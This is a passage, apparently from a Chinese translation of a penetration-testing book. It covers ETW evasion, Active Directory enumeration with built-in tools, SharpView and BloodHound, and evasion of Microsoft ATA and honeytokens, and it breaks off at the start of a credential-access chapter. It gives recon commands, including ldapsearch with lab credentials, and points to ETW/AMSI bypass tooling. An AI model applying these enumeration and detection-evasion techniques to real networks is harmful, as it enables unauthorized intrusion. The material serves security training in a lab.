Windows 事件跟踪(ETW)是一个内核级别的跟踪工具,用于记录事件,旨在应用程序调试时使用,并且可以在不重启应用程序/系统的情况下启用/禁用。简而言之,系统由三个组件组成——控制器、提供者和消费者。控制器用于启动/停止事件跟踪会话,该会话用于接收来自提供者的事件并将其传递给消费者。要开始使用 ETW,我可以推荐最详细的初学者指南[44]。Bmcder展示了如何使用logman
和wevtutil.exe
工具、事件清单和 API 来访问 ETW。最后,还列出了对蓝队有用的提供者。同时,值得注意的是,ETW 适用于收集正在进行的事件,而非历史事件。然而,事件数量巨大,并且需要使用 SIEM 和/或 Yara 进行后处理。
让我们调查如何使用 ETW 来查看 .NET 工具的使用情况。F-Secure 撰写了两篇优秀的博客文章,讲解如何检测 .NET 的恶意使用。第一部分[45]专注于加载 .NET 程序集的过程以及如何获取这些程序集的可见性。第二部分[46]详细介绍了 JIT 和 Interop 跟踪,展示了如何检测恶意示例,如 Meterpreter 和 SafetyKatz。方法名称、程序集和常见的恶意软件 API 调用对有洞察力的防御者来说是一个安全隐患。对于进攻性和防守性的测试,我们可以使用 FuzzySec 创建的一个很棒的工具,叫做 SilkETW
[47]。本质上,它是 ETW 的一组包装器,可以实时收集和过滤来自 Microsoft-Windows-DotNETRuntime
和其他提供者的 .NET 事件。我们可以通过应用 Yara 中已知的妥协指示器进一步增强我们的分析。以下是运行重命名过的 Seatbelt[48]的简单示例:
图 2.16 – Process Hacker 显示加载的 .NET 程序集
我们将通过使用以下命令启动 SilkETW:
.\SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -l verbose -ot eventlog
SilkETW 进程启动后,已经收集了 820 个事件。我们执行 Seatbelt,通过运行以下命令来获取系统信息:
.\legit_binary.exe OSInfo
事件的数量已达到 1,763 个,其中一些包含妥协的指示。浏览这些事件使得像 Yara 或现代 AV/EDR 解决方案等安全产品能够检测我们的活动:
图 2.17 – SilkETW 在实际操作中
对应的日志条目如下:
图 2.18 – 日志中多条 Seatbelt 记录
我们有两种主要策略来避免检测——篡改 ETW 或使用某种形式的混淆。一个开源保护器的例子是 ConfuserEx
[49]。它仍然会留下些许 IOCs,但作为起点是一个不错的选择,正如 White Knight Labs[50] 博客文章所展示的那样。
绕过 ETW 的一种更有前途的方法是隐藏其监控的技艺。XPN 在他的博客中发布了关于如何做到这一点的精彩研究[51]。这一思路与 AMSI 绕过有很多相似之处——以一种不会记录任何内容的方式修补对 ntdll!EtwEventWrite
的调用。Cneelis 在他的 TamperETW[52] 示例中展示了另一种实现相同结果的方法。
为了观察 ETW 的实际运作,我鼓励你阅读 mez0 写的精彩博客文章[53]。作者演示了如何创建 .NET 提供者、简单的 .NET 加载器检测以及 ETW 中和。执行后修复 ETW 提供者的过程也被展示了。此外,还包括了相关研究的链接以及对其他安全 ETW 提供者的概述,使这项研究独特且具有可辨识性。
Palantir 在他们的博客中发布了其他 ETW 篡改技术的列表[54]。其中两种技术(Autologger 提供者移除和提供者 Enable
属性修改)需要重启,所有这些技术都至少需要管理员权限。
概述
在本章中,我们演示了常见安全控制的规避基本概念。这只是冰山一角,因为我们没有涉及 AV/EDR 绕过、工具定制、Shellcode 加载程序等更多内容。我们讨论了内置控制(AMSI)以及可以通过组策略在域中部署的增强安全组件(AppLocker 和增强的 PowerShell 安全性)。接着,我们查看了可能的检测机制,这些机制可以通过 Sysmon 和 ETW 在 Windows 中实施。
在接下来的章节中,我们将使用不同的工具并专注于概念。我们将在禁用 Microsoft Defender 的机器上运行这些工具。展示规避技巧是整个过程的关键,并且总是第一步。成功的关键是了解我们的工具在幕后做了什么,以及我们在被攻击的机器上留下了哪些 IOCs。
下一章将专门讲解域枚举。我们将展示如何使用不同的工具来完成此任务,了解这些活动的常见模式,并学习如何不遗漏重要细节。
参考资料
-
Process Hacker:
processhacker.sourceforge.io/
-
API 监视器:
www.rohitab.com/apimonitor
-
S3cur3Th1sSh1t 的 AMSI 绕过列表:
github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
-
Pentestlaboratories 的 AMSI 绕过列表:
pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
-
Invoke-Obfuscation 脚本:
github.com/danielbohannon/Invoke-Obfuscation
-
Nishang 项目:
github.com/samratashok/nishang
-
Powercat:
github.com/besimorhino/powercat
-
通过 AMSI 的持久性:
pentestlab.blog/2021/05/17/persistence-amsi/
-
Pentest Laboratories 的 AMSI 绕过威胁猎捕:
pentestlaboratories.com/2021/06/01/threat-hunting-amsi-bypasses/
-
F-Secure 的 AMSI 绕过威胁猎捕:
blog.f-secure.com/hunting-for-amsi-bypasses/
-
Tiraniddo 关于 AppLocker 内部原理的研究:
www.tiraniddo.dev/2019/11/the-internals-of-applocker-part-1.xhtml
-
CLM 限制的 PowerShell 敏感能力:
devblogs.microsoft.com/powershell/powershell-constrained-language-mode/#what-does-constrained-language-constrain
-
AppLocker 初学者指南:
www.hackingarticles.in/windows-applocker-policy-a-beginners-guide/
-
使用 InstallUtil 绕过 AppLocker:
www.ired.team/offensive-security/code-execution/t1118-installutil
-
使用 MSBuild 绕过 AppLocker:
www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
-
AppLocker 绕过列表项目:
github.com/api0cradle/UltimateAppLockerByPassList
-
PowerShdll 项目使用 PowerShell 自动化 DLL:
github.com/p3nt4/PowerShdll
-
PSBypassCLM 项目,创建一个 InstalUtil 的包装器:
github.com/padovah4ck/PSByPassCLM
-
Bypass-CLM 项目,修补返回值:
github.com/calebstewart/bypass-clm
-
利用 COM 绕过 CLM:
blog.xpnsec.com/constrained-language-mode-bypass/
-
通过设置 HKCU 环境值绕过 CLM:
sp00ks-git.github.io/posts/CLM-Bypass/
-
AaronLocker 项目:
github.com/microsoft/AaronLocker
-
部署 WDAC 和 AppLocker:
improsec.com/tech-blog/one-thousand-and-one-application-blocks
-
Sysmon:
docs.microsoft.com/en-us/sysinternals/downloads/sysmon
-
Sysmon 社区指南:
github.com/trustedsec/SysmonCommunityGuide
-
Sysmon 配置版本由SwiftOnSecurity提供:
github.com/SwiftOnSecurity/sysmon-config
-
Sysmon 配置版本由Florian Roth提供:
github.com/Neo23x0/sysmon-config
-
Sysmon 配置版本由Olaf Hartong提供:
github.com/olafhartong/sysmon-modular
-
cobbr.io 提供的 ScriptBlock Logging 绕过:
cobbr.io/ScriptBlock-Logging-Bypass.xhtml
-
cobbr.io 的 ScriptBlock 警告事件日志绕过:
cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.xhtml
-
新的绕过方法第一部分:
www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/
-
新的绕过方法第二部分:
www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-2/
-
PowerShell 保护模块:
blog.ironmansoftware.com/protect-logging-bypass/
-
EnableTranscripting 绕过:
avantguard.io/en/blog/powershell-enhanced-logging-capabilities-bypass
-
Invisi-Shell 工具:
github.com/OmerYa/Invisi-Shell
和www.youtube.com/watch?v=Y3oMEiySxcc
-
Stracciatella 工具:
github.com/mgeeky/Stracciatella
-
检测 Sysmon:
www.ired.team/offensive-security/enumeration-and-discovery/detecting-sysmon-on-the-victim-host
-
Sysmon 篡改:
medium.com/@olafhartong/endpoint-detection-superpowers-on-the-cheap-part-3-sysmon-tampering-49c2dc9bf6d9
-
Phant0m 工具:
github.com/hlldz/Phant0m
-
SysmonQuiet:
github.com/ScriptIdiot/SysmonQuiet
-
SysmonEnte:
codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.xhtml
-
ETW 入门指南:
bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw
-
检测恶意使用.NET 第一部分:
blog.f-secure.com/detecting-malicious-use-of-net-part-1/
-
检测恶意使用.NET 第二部分:
blog.f-secure.com/detecting-malicious-use-of-net-part-2/
-
SilkETW:
github.com/mandiant/SilkETW
-
Seatbelt:
github.com/GhostPack/Seatbelt
-
ConfuserEx:
github.com/mkaring/ConfuserEx
-
通过使 EtwEventWrite API 无效来绕过 ETW:
whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/
-
补丁 EtwEventWrite API:
blog.xpnsec.com/hiding-your-dotnet-etw/
-
TamperETW:
github.com/outflanknl/TamperETW
-
规避 ETW 和 AMSI:
pre.empt.blog/2023/maelstrom-6-working-with-amsi-and-etw-for-red-and-blue
-
篡改 ETW:
blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
进一步阅读
以下是一些进一步学习的辅助资源,帮助你更深入地了解本章涉及的攻击:
-
关于 AmsiScanBufferBypass 的优秀博客文章,提供了即用的代码:
fatrodzianko.com/2020/08/25/getting-rastamouses-amsiscanbufferbypass-to-work-again/
。 -
关于 PowerShell CLM 和规则评估示例的优秀博客文章:
p0w3rsh3ll.wordpress.com/2019/03/07/applocker-and-powershell-how-do-they-tightly-work-together/
-
有一篇结合了 MSBuild 和 InstallUtils AppLocker 绕过方法的优秀文章:
www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
第三章:域侦察与发现
本章将重点介绍域枚举。尽管方法论看起来显而易见且直观,但实际过程可能会显得令人生畏,而侦察是成功入侵的关键步骤。此外,重要的是在每次行动后重新进行枚举,因为新的路径可能会打开。有时枚举可能直接导致入侵;例如,受损的用户可能读取 本地管理员密码解决方案(LAPS)或 组托管服务账户(gMSA)密码,或者可能在启用不受限制代理的计算机上拥有管理员权限。
我们将简要回顾侦察方法,并以不同方式开始全面枚举。我们将涵盖内置 PowerShell 模块、Windows 管理工具(WMI)和 net.exe
命令的使用,并利用 LDAP 搜索功能。作为下一步,我们将使用 PowerView 和 BloodHound 工具。我们将以服务枚举结束我们的旅程。作为锦上添花,我们将在活动中研究 高级威胁分析(ATA)检测规避以及如何理解和处理蜜罐令牌。
本章将涵盖以下主要内容:
-
使用内置功能进行枚举(PowerShell,WMI,
net.exe
,LDAP) -
最常用的枚举工具(PowerView,BloodHound)
-
域服务枚举
-
ATA 和蜜罐令牌的检测规避
技术要求
本章的技术要求如下:
-
至少 16 GB RAM、8 个 CPU 核心和至少 55 GB 总空间(如果进行快照,空间要求更大)的 VMware Workstation 或 Oracle VirtualBox
-
强烈推荐使用基于 Linux 的操作系统
-
安装了对应虚拟化平台插件的 Vagrant 和 Ansible
-
已部署的 ATA 案例 DetectionLab 版本 (
www.detectionlab.network/introduction/prerequisites/
) -
从 GOADv2 项目中,我们将使用 DC01、DC02、SRV01 和 SRV03
使用内置功能进行枚举
在我们的场景中,我们已建立了初步立足点,成功识别并规避了防御性安全措施。接下来的步骤是更好地了解我们已进入的环境。我们所有的侦察活动可能会受到蓝队的密切监视。随后,我们将运行各种命令和工具,检查 Windows 事件日志并生成流量。进行这种演练的目的是理解底层使用了哪些协议,以及在枚举过程中可能留下哪些妥协迹象。
在进入实践部分之前,让我们简要概述一下我们将遵循的枚举方法论。我的方法是从较高层次的抽象开始,逐渐深入。
PowerShell cmdlet
我们将枚举一个 Active Directory 环境,从森林、域以及它们之间的信任关系开始。接下来的步骤是分别枚举每个域,获取有关 组织单位(OUs) 和包含相应用户和计算机的组的信息,最后是域的 组策略对象(GPOs) 和 访问控制列表(ACLs)。使用 PowerShell,您可以使用多种方式进行枚举。虽然有一个 Active Directory cmdlet,但它默认仅安装在域控制器上。不过这没什么大不了的!有一个很棒的项目,由 Nikhil Mittal 创建,叫做 ADModule。这个项目的思路是,我们复制一个微软签名的 DLL 文件,用它来执行 Active Directory cmdlet,而无需安装 RSAT 或拥有管理员权限,也能进行枚举。同时,它还可以将所有操作保存在内存中,而不触及磁盘。ADModule 项目的主要缺点是,它已经不再维护,因此不会有新的命令可用。需要提到的是,PowerShell 的 Active Directory cmdlet 需要 Active Directory Web 服务(ADWS) 在端口 9389
上运行。我们可以在 Wireshark 捕获的第四个连接数据包中看到它:
图 3.1 – 连接到 ADWS 端口 9389
可以通过运行以下命令查看可用命令的完整列表:
Get-Command -Module ActiveDirectory
使用这样的模块有明显的优势;例如,不需要绕过杀毒软件,所有执行都发生在内存中,而且如果没有应用特殊的检测规则,流量会很好地融入环境。防御者可以阻止端口 9389
,禁用 ADWS,和/或在流量访问此端口时创建警报。但这完全取决于目标环境——在大多数情况下,这种活动会被视为正常活动。接下来,我们将讨论使用 WMI 进行枚举,这在域中的每台机器上默认可用。
WMI
WMI
是 Web-Based Enterprise Management** (
WBEM) 的微软实现。WMI 使用 通用信息模型(CIM**) 来表示受管理的组件。
要查看 WMI 的实际操作,我强烈推荐阅读 0xinfection[2] 撰写的五篇博客文章。WMI 可以在 PowerShell 中使用,因此我们将利用它进行 Active Directory 枚举。同时,也可以通过命令行使用 WMI 命令行工具(WMIC) 执行 WMI 操作。WMI 有一个名为 root\directory\ldap
的提供程序,我们将使用它与 Active Directory 进行交互。
让我们运行以下示例中的命令,找出域名并查看将发送的流量:
Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | select ds_dc, ds_distinguishedname, pscomputername
我不会讨论捕获中的每个数据包,但用简单的语言来说,发生了以下高层次步骤:
-
进行了 Kerberos 身份验证。
-
出现了一个 LDAP 绑定请求和响应。
-
攻击者发出了搜索请求,并且相应的结果条目也出现了。
完成上述步骤后,我们将收到以下输出:
图 3.2 – 当前域的结果
在相应的 Wireshark 窗口中,我们可以看到,接收到上述截图信息共用了 11 次 LDAP 查询/回复:
图 3.3 – 获取当前域信息后的 Wireshark 流量捕获
需要提到的是,这个流量仅发生在域控制器和受损机器之间。我们可以看到,WMI 依赖于 LDAP,稍后我们将对此进行介绍。
net.exe
另一个用于域枚举的内置工具是net.exe
。在本节中,我们将使用以下命令枚举域用户:
net user /domain
运行上述命令的结果如下:
图 3.4 – 使用 net.exe 命令进行域用户枚举
在这种情况下,我们的机器发送的流量将使用一组独特的协议——SMBv2、DCERPC 和 SAMR。这一点很重要,因为某些协议的使用可能是妥协的良好指示。我们将在本章稍后看到这一点。
关于安全账户管理器远程(SAMR)如何工作的高层次解释是在 BloodHound 使用的背景下发布的[3]。稍后我们将在本章分析 SharpHound 行为时使用来自三篇博客文章的信息。简而言之,我们的机器打开一个 SMB 连接到域控制器,然后将自己绑定到\PIPE\samr
,该管道通过IPC$
共享导出,并使用 SAMR 查询来提取关于用户的信息。
以下是 Wireshark 流量捕获:
图 3.5 – MS-RPC 流量捕获
以上所有枚举方法都是在基于 Windows 的系统上展示的。但是,如果我们能够访问一台 Linux 机器呢?在下一节中,我们将结合流行的 Linux 工具使用轻量级目录访问协议(LDAP)搜索查询。
LDAP
LDAP 是一种目录服务协议,提供连接、搜索和修改目录的机制。网上有一个免费的优秀 wiki[4],其中可以找到适用于 Active Directory 的相关 LDAP 查询示例。为了理解如何将其应用于有意义的枚举,我强烈推荐您阅读ropnop 在 Thotcon 2018 中做的精彩演讲[5]。
在之前的示例中,我们使用有效的凭据在域用户上下文中执行了枚举。但如果我们还没有凭据呢?在某些罕见的环境中,旧版本的环境可能会允许通过以下命令进行 NULL 会话枚举:
rpcclient –U"%" IPAddress
Reino Mostert 分享了一个新的观点,他讲述了在 Windows 域控制器上枚举用户的三种方式[6],并通过工具[7]补充了他的研究。
总结来说,作为一个未经身份验证的域用户,我们可以运行 nbtscan
、dig
、ldapsearch
,在某些情况下,rpcclient
来获取域名、域控制器和计算机的 NetBIOS 名称:
图 3.6 – 无域用户凭据的枚举
获取我们第一组有效的域用户凭据将为获取更多信息开辟途径,正如以下截图所示。
图 3.7 – 使用 rpcclient 进行身份验证枚举
请小心,因为根据 Windows 版本的不同,一些 SAMR 查询可能无法正常工作,但 NETLOGON 和 LSARPC 仍然可以正常使用。以下截图展示了这一点:
图 3.8 – SAMR 查询失败
LDAP 查询比 rpcclient
或 enum4linux
中的预定义搜索提供更多灵活性。我们可以使用 ldapsearch
[8] 和/或 windapsearch
[9]。我们可以通过查询枚举管理员组的成员,如下所示:
ldapsearch -LLL -x -H ldap://kingslanding.sevenkingdoms.local -D "lord.varys@sevenkingdoms.local" -w 'Qwerty123!' -b dc=sevenkingdoms,dc=local "adminCount=1" dn | grep "dn:"
运行上述命令将得到以下输出:
图 3.9 – 列出属性 adminCount=1 的对象
我们已经讨论了如何手动执行枚举并分析流量以理解底层协议的使用方式。现在,我们将讨论用于以自动化或半自动化方式执行枚举的最常见工具。
枚举工具
用于域枚举的最常见工具是 PowerView 或 SharpView 和 SharpHound,结合使用 BloodHound。
SharpView/PowerView
SharpView[10] 是 PowerView[11] 的 .NET 移植版本。这个工具有各种各样的方法,可以改善和加速复杂环境中的枚举过程。我推荐阅读 PowerView wiki[12],因为它详细解释了如何运行查询。让我们从 GitHub 获取版本,编译并按照我们的研究方法进行操作。我们不会为每个命令都运行 Wireshark,而是选择一个示例来理解我们留下的痕迹。为了让我们的工作更轻松,我使用了 Get-DomainSID
命令:
图 3.10 – Get-DomainSID 命令的结果
以下是 Wireshark 捕获的几个 DNS 请求,用于获取域 LDAP SRV,接着是 CLDAP 和 LDAP 查询/响应的混合,结合了 Kerberos 认证。总共捕获了 265 个数据包:
图 3.11 – 获取 Get-DomainSID 命令的 Wireshark 捕获
以下列表展示了在几乎每次参与过程中你将使用的最常见的枚举命令。命令名称不言自明。有关额外选项和键,请参见官方指南:
-
Get-Forest
-
Get-ForestDomain
-
Get-ForestTrust
-
Get-Domain
-
Get-DomainTrust
-
Get-DomainController
-
Get-DomainOU
-
Get-DomainGroup
-
Get-DomainGroupMember
-
Get-DomainUser
-
Get-DomainComputer
-
Get-DomainGPO
-
Get-DomainForeignUser
-
Get-DomainForeignGroupMember
-
Invoke-ACLScanner
-
Find-LocalAdminAccess
-
Find-DomainShare
作为示例,我将展示如何使用 SharpView 命令帮助进行森林枚举。枚举以标准用户身份执行。在运行了仅三个命令后,我们就能知道根域和森林中所有域的 SID,包括域控制器的名称,并且两片森林之间存在双向信任。森林枚举的结果如下:
图 3.12 – 使用 SharpView 进行森林枚举的结果
在收集完所有森林和域的信息后,我们需要对其进行分析。我们的目标是寻找一种方法,将允许的信任和访问与错误配置串联起来,以便进一步推进。如果有一个工具能以某种自动化的方式帮助我们将所有信息结合在一起呢?让我们欢迎并讨论 BloodHound!
BloodHound
防御者思维是按列表进行的,而攻击者则是按图形思维的。只要这一点成立,攻击者就会胜利。 这句伟大的名言出自 John Lambert。我认为这种思维方式的转变能帮助我们理解 BloodHound
[13] 的全部潜力。这个工具利用图论帮助攻击者找到 Active Directory 中原本不应该存在的或可以被利用来进一步妥协的对象关系。为了实现这一点,我们需要 SharpHound 数据收集器[14] 和 BloodHound。我们的目标是了解这些工具的工作原理以及使用它们的好处。SharpHound 有多种收集方法,在使用这些方法之前,我们需要了解它们的影响。例如,RDP、DCOM、PSRemote、LocalAdmin 和 LoggedOn 等方法非常嘈杂,会产生大量流量,因为它们需要连接到域中的每台计算机以获取请求的信息。
在以默认收集选项运行 SharpHound 并将结果上传到 BloodHound 后,我们可以找到一些有前景的路径,如下图所示,其中 tywin.lannister
可以更改另一个用户的密码并将自己添加到一个组中:
图 3.13 – BloodHound 发现的 ACL 错误配置
在某些情况下,BloodHound 中预定义的查询可能不足以找到下一步的行动。这时,我们可以自己编写查询和/或使用已发布的自定义查询[15]。
要了解更多关于 BloodHound 内部的内容,Sven Defatsch[3]写了三篇博客文章。在这些文章中,他讨论了通过不同方法进行用户和会话枚举。我们不会复制完整的研究,但会简要查看流量以确认结果。我们将开始会话的数据收集,并进行数据包捕获:
SharpHound.exe -d sevenkingdoms.local –CollectionMethods Session --Stealth
上述命令创建了以下数据捕获:
图 3.14 – 会话收集
如我们所见,流量与原始研究中的流量相同。有许多不同噪声级别的收集方法。而且,这也取决于你在猎取什么。一般建议是使用--Jitter
和--Throttle
选项,在请求之间创建延迟。--Stealthy
选项迫使 SharpHound 以不同的方式表现,但它也可能影响收集的质量。
总结一下,数据收集器通过 SMB 连接和 Kerberos 身份验证,使用各种命名管道和协议获取信息。
然而,还有另一种探索目标 Active Directory 的方法。ADExplorer
[16]是微软编写的一个工具,不仅可以查看和编辑对象,还支持快照。我强烈推荐你阅读api0cradle[18]关于在参与活动中使用 ADExplorer 的帖子。使用由c3c[18]编写的工具,我们可以将快照转换为 BloodHound 兼容的 JSON 文件。显然,由于没有与系统的网络交互,像本地管理员列表和会话这样的信息将缺失。进行快照时唯一需要考虑的 OpSec 因素是要记住会收集大量数据。然而,正如FalconForce[19]提到的那样,检测 Active Directory 数据收集并不容易。
在收集了所有关于域的可用信息后,接下来我们将专注于域内部署的服务,并简要了解用户狩猎过程。
枚举服务并猎取用户
为了继续我们的枚举,下一步是识别可用服务、文件和 SQL 服务器以及域中特权用户的活动。如本章开头所述,我们的目标是获取受损环境中的关键数据和服务访问权限。
SPN
服务主体名称(SPNs)是 Kerberos 客户端用来唯一标识给定 Kerberos 目标计算机上的服务实例的名称。PyroTek3[20]拥有一个关于 Active Directory 已知 SPN 的全面列表。我们可以利用这些信息来更好地理解域中存在哪些服务,并使用 Kerberos 身份验证。
我们可以使用setspn
工具或 SharpView 通过以下命令在域中枚举 SPN,以查找具有 SPN 的用户和计算机:
Get-DomainComputer -ServicePrincipalName "*"
Get-DomainUser -SPN
要使用setspn
工具获取所有 SPN,我们可以运行以下命令:
setspn -T sevenkingdoms.local -F -Q */*
结果,我们得到了一个冗长的 SPN 列表。我们可以通过使用-L
开关来针对特定服务器或用户缩小列表范围。运行上述命令后,以下是一些有前景的发现:
图 3.15 – 七王国森林中的 SPN
在域中的下一个猎捕目标是文件服务器。有时它甚至可能具有开放共享或我们具有“写入”权限的共享。在第五章中,我们将展示如何利用可写共享,但首先我们需要找到它们。
文件服务器
文件服务器是一个重要的信息资源。如果攻击者妥协了一个在组织内具有广泛访问权限的用户,那么就有可能从文件共享中提取所有所需的信息。在 SharpView 中,有几个选项用于文件服务器枚举。它们如下:
-
Get-DomainFileServer
-
Find-DomainShare -CheckShareAccess
-
Find-InterestingFile
-
Find-InterestingDomainShareFile
用户猎捕
用户猎捕更像是一种艺术,而不是一个过程。harmj0y创建了一个精彩的演示[21],展示了总体方法。对于一个小型环境来说,这可能看起来是一个直接的过程,但如果跨多个域和森林有成千上万的用户,就不那么简单了。找到合适的猎捕目标是最关键的一步。对于特权用户,我们可以通过以下 SharpView 命令来识别他们:
Get-DomainUser -AdminCount -Properties samaccountname
以下是域中受特权的用户列表:
图 3.16 – 具有 AdminCount=1 属性的用户列表
作为下一步,我们可以运行各种命令,例如以下命令:
-
Find-DomainUserLocation
-
Get-NetSession
-
Invoke-UserHunter -****Stealth -ShowAll
只需小心,未使用Stealth
开关的第一个和最后一个命令(www.labofapenetrationtester.com/2018/10/deploy-deception.xhtml
)会通过查询域内的每台机器生成大量噪声。在下一节中,我们将介绍一些检测方法以及在枚举过程中如何避免这些检测。
枚举检测规避
枚举可能是一个噪声很大的过程,如果没有采取预防措施使用工具的话。同时,防御者通过使用安全产品和欺骗方法来猎捕侦察活动。这些方法就像黑暗房间中的隐藏铃铛——你需要知道它在哪里,才能避免被检测到。我们将一并介绍微软 ATA 及其继任者——Defender for Identity** (
MDI**)以及蜜罐令牌。
微软 ATA
微软高级威胁分析(
ATA)是一个本地平台,旨在帮助保护企业免受威胁。扩展支持将在 2026 年结束,因此值得快速介绍一下它。
在本节中,我们将仅讨论用于重建方法的检测;其他攻击和绕过将在相应的章节中讨论。一般来说,ATA 通过解析多种协议的网络流量来检测恶意活动。值得注意的是,工具需要一定时间来学习环境中用户和机器的正常行为。数据收集发生在 ATA 网关上。2017 年,Nikhil Mittal写了一系列五篇关于 ATA 检测和绕过的博客文章[22]。一般的绕过策略是将现有环境流量混合在一起,并限制与域控制器的交互。Microsoft Defender for Identity
(MDI)是 ATA 的继任者。Nikhil 重新审视了该产品,并在 BruCON 会议[23]上分享了他的研究。这里提到的所有技术至今仍对 ATA 同样有效。在演讲中给出了两个不错的枚举建议:排除对 DC 的 SMB 会话枚举,忘记任何使用 SAMR 协议的工具。WMI 和 LDAP 查询是侦察的途径,但现在推荐请求所有 LDAP 属性并离线筛选。
蜜罐令牌
另一种检测环境中恶意活动的方法是部署并监控环境中的诱饵对象。这些对象应该是攻击者想要的目标,但在正常活动中永远不应使用。我们可以指出更多Nikhil Mittal的研究[24]以及他现成的 PowerShell 模块[25]。通过该工具,我们可以部署蜜罐用户、计算机和组。为了检测这些对象的访问,我们需要配置组策略审计[26],或者我们可以简单地将账户添加到 Microsoft ATA 中的蜜罐令牌:
图 3.17 – Microsoft ATA 中的蜜罐令牌
攻击者仍然可以通过检查如LastLogon
、logonCount
、badpwdCount
、whenCreated
等属性来识别蜜罐账户。一些工具可以协助进行此类活动,例如HoneypotBuster
[27]。它使用一个内部的虚假排名系统,计算为账户的几个参数的组合。该工具的排名系统可以被蓝队分析,因此蜜罐可以调整到所需的级别。
另一种方法是在域内的机器内存中引入虚假凭据,并在特权提升攻击(例如 pass-the-hash 攻击)期间检测凭据重用。一个出色的项目,展示了这种欺骗技术,名为 Dcept[28]。如果蓝队检测到此类活动,他们将知道被攻击的确切主机以及攻击者执行横向移动的方式。
另一个脚本,Honeyhash[29],是用 PowerShell 编写的,用于创建内存欺骗。它创建一个内存中的虚假账户,然后攻击者将使用该账户进行横向移动。 Stealthbits 公司撰写了一个关于如何部署和实施检测的详细指南[30]。
摘要
在本章中,我们讨论了攻击者可以用于枚举活动的可用工具和协议。我们简要介绍了工具内部机制,以便清晰地了解我们留下的痕迹。我们的方法论是从环境内部的高层次到低层次进行枚举。其中一个关键思想是枚举是一个持续的过程。在本章结束时,我们讨论了一些 OpSec 方面的问题,并看到蓝队如何欺骗攻击者。
在下一章中,我们将从域的角度讨论凭证访问。我们不会花时间在端点凭证访问上,而是会探讨诸如 Kerberoasting、GMSA、LAPS、不同类型的强制认证、如何滥用可写共享等内容。
参考资料
-
ADModule:
github.com/samratashok/ADModule
-
Bloodhound 内部工作原理:
blog.compass-security.com/2022/05/bloodhound-inner-workings-part-1/
,blog.compass-security.com/2022/05/bloodhound-inner-workings-part-2/
和blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/
-
LDAP wiki:
ldapwiki.com/wiki/Main
-
LDAP 和 Kerberos:
blog.ropnop.com/talk/2018/funwithldapkerb/
-
对 NULL 会话枚举的新看法:
sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/
-
UserEnum:
github.com/sensepost/UserEnum
-
Ldapsearch:
malicious.link/post/2022/ldapsearch-reference/
-
Windapsearch:
github.com/ropnop/windapsearch
-
SharpView:
github.com/tevora-threat/SharpView
-
PowerView:
github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
-
PowerView recon wiki:
powersploit.readthedocs.io/en/latest/Recon/
-
BloodHound:
bloodhound.readthedocs.io/en/latest/
-
SharpHound:
bloodhound.readthedocs.io/en/latest/data-collection/sharphound.xhtml
-
自定义 BloodHound 查询:
github.com/hausec/Bloodhound-Custom-Queries
-
ADExplorer:
learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
-
ADExplorer 在项目中的应用:
www.trustedsec.com/blog/adexplorer-on-engagements/
-
ADExplorerSnapshot:
github.com/c3c/ADExplorerSnapshot.py
-
检测 AD 数据收集:
falconforce.nl/falconfriday-detecting-active-directory-data-collection-0xff21/
-
已知 SPN 列表:
adsecurity.org/?page_id=183
-
躲避 Microsoft ATA:
www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day1.xhtml
-
部署欺骗研究:
www.labofapenetrationtester.com/2018/10/deploy-deception.xhtml
-
用于 AD 蜜罐令牌的组策略配置:
www.bordergate.co.uk/active-directory-honey-tokens/
-
HoneypotBuster:
github.com/JavelinNetworks/HoneypotBuster
-
DCEPT:
github.com/secureworks/dcept
-
HoneyHash:
github.com/EmpireProject/Empire/blob/dev/data/module_source/management/New-HoneyHash.ps1
-
如何检测蜜罐哈希:
stealthbits.com/blog/implementing-detections-for-the-honeyhash/
进一步阅读
这些资料将帮助你进一步学习,并让你能够更深入地了解本章涉及的攻击内容:
-
Microsoft 的 WMI 详细信息:
learn.microsoft.com/en-us/windows/win32/wmisdk/about-wmi
-
使用 WMI 枚举 Active Directory:
0xinfection.github.io/posts/wmi-ad-enum/
-
Windows 中的 LDAP API:
learn.microsoft.com/en-us/previous-versions/windows/desktop/ldap/lightweight-directory-access-protocol-ldap-api
第四章:域中的凭证访问
选择第四章、第五章和第六章的顺序很困难,因为它们之间有很强的关联性。我们不会涉及如何从主机(如 LSASS、DPAPI、凭证管理器等)转储机密数据。相反,我们将专注于 Active Directory。本章从讨论如何在域中获取明文凭证开始。然后,我们将探索捕获哈希的各种技术,例如强制认证和投毒。中继攻击将在 第五章中讨论,横向移动。接下来将介绍 Kerberos 认证协议以及如何“烤”这只三头犬的不同方法。最后,我们将讨论本地密码管理的安全机制,如本地管理员密码解决方案(LAPS)和组管理服务账户(gMSA),以及如何从中恢复特权凭证。最后,还将解释 DCSync 攻击及其从 ntds.dit 域控制器导出哈希值的方式。
本章我们将涵盖以下主要内容:
-
域中的明文凭证
-
捕获哈希
-
强制认证
-
破解 Kerberos 的方法
-
域中的自动密码管理(LAPS 或 gMSA)
-
DCSync 攻击与 NTDS 凭证外泄
技术要求
在本章中,你需要具备以下条件:
-
VMware Workstation 或 Oracle VirtualBox,要求至少 16 GB 内存、八个 CPU 核心以及至少 55 GB 的存储空间(如果你使用快照,则需要更多空间)。
-
强烈推荐使用基于 Linux 的操作系统
-
安装了 Vagrant,并且配置了相应虚拟化平台的插件,以及安装了 Ansible。
-
在 GOADv2 项目中,我们将使用 DC02、DC03、SRV02 和 SRV03。
域中的明文凭证
在这一部分,我们将讨论获取明文凭证的不同方法。然而,我们不会涉及诸如password.txt
